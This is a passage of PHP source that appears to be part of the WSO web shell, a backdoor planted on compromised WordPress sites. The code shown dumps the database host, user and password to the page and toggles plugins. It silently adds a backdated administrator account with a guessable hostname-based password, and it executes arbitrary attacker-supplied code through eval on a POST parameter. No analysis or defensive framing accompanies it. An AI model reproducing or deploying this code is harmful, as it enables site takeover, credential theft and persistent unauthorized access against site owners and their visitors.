$y[2]){$plugz[]=$pz;}$plugx[$pz][$pm]=$y[2];}}}}if(mysqli_connect_error()){$error=1;}else{$wpurl=getone("select option_value from ${DB_PREFIX}options where option_name='siteurl'");$wpname=getone("select option_value from ${DB_PREFIX}options where option_name='blogname'");$posts=getone("select count(*)from ${DB_PREFIX}posts where post_status='publish' and post_type='post'");$pages=getone("select count(*)from ${DB_PREFIX}posts where post_status='publish' and post_type='page'");$users=getone("select count(*)from ${DB_PREFIX}users");$plugins=unserialize(getone("select option_value from ${DB_PREFIX}options where option_name='active_plugins'"));if('delplug'==$_POST['p1'] && $_POST['p2']){$g=urldecode($_POST['p2']);if(in_array($g, $plugz)){echo "Plugin $g was ";if(in_array($g, $plugins)){$new=array();foreach($plugins as $p){if($p!=$g)$new[]=$p;}$plugins=$new;echo "deactivated";}else{$plugins[]=$g;echo "activated";}$wpdb->query("update ${DB_PREFIX}options set option_value='".$wpdb->real_escape_string(serialize($plugins))."' where option_name='active_plugins'");}}elseif('adduser'==$_POST['p1']){function add_user($login,$password,$email=''){global $wpdb, $DB_PREFIX, $wpdir;include_once "$wpdir/wp-includes/class-phpass.php";$wp_hasher=new PasswordHash(8, true);$hp=$wp_hasher->HashPassword( trim( $password));$dt=date("Y-m-d H:i:00", time()- 3600*24*360);if(!$email)$email="admin.$login@googlemail.com";$login=$wpdb->real_escape_string($login);$password=$wpdb->real_escape_string($password);$email=$wpdb->real_escape_string($email);$q="insert into {$DB_PREFIX}users SET user_login='$login', user_pass='$hp', user_email='$email', user_registered='$dt', user_status=0, display_name='$login'";if($wpdb->query($q)=== TRUE){$user_id=$wpdb->insert_id;
$q="INSERT INTO ${DB_PREFIX}usermeta SET user_id=$user_id, meta_key='${DB_PREFIX}user_level', meta_value= '10'";if($wpdb->query($q)=== TRUE){$q="INSERT INTO ${DB_PREFIX}usermeta SET user_id=$user_id, meta_key='${DB_PREFIX}capabilities', meta_value= 'a:1:{s:13:\"administrator\";b:1;}'";return $wpdb->query($q)=== true ? $user_id:false;}else echo "2: $wpdb->error\n";} else echo "1: $wpdb->error\n";}list($uu,$up,$ue)= explode('|', $_POST['p2']);
if(!$uu){$burl=preg_replace('!^([^\.]+)\..+$!', '$1', preg_replace('!^(ww.?|dev)\.!', '', $uh=parse_url($wpurl, PHP_URL_HOST)));$uu="{$burl}adm";$up="$burl";$ue="$uu@$uh";$uskip=1;}if($uu && $up && !$uskip){$exists=getone("select ID from {$DB_PREFIX}users where user_login='".$wpdb->real_escape_string($uu)."'");if(!$exists){$uid=add_user($uu,$up,$ue);echo "User $uu sucessfully added!";}else{echo "User $uu already exists";}echo "
";}}}echo "";echo "Wordpress info
WP Version: $wp_version [
Manage ] [
SQL ]
WP Dir: $wpdir
WP Config: $wpconfig
WP Site URL: $wpurlBlog Name: $wpname
| Host | User | Password | Database | Users | Posts | Pages | Plugins |
| $DB_HOST | $DB_USER | $DB_PASSWORD | $DB_NAME | $users | $posts | $pages | ".count($plugins)." |
";if($error){echo 'Connect Error('.mysqli_connect_errno().')'.mysqli_connect_error(); return;}if($plugz){echo "Wordpress plugins
";}echo "Add wordpress admin
";_wss7();}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=>php_uname(),"php_version"=>phpversion(),"wso_version"=>WSO_VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else {eval($_POST['p1']);}}if(empty($_POST['a']))if(isset($default_action)&& function_exists('action' . $default_action))$_POST['a']=$default_action;else $_POST['a']='SecInfo';if(!empty($_POST['a'])&& function_exists('action' . $_POST['a']))call_user_func('action' . $_POST['a']);exit;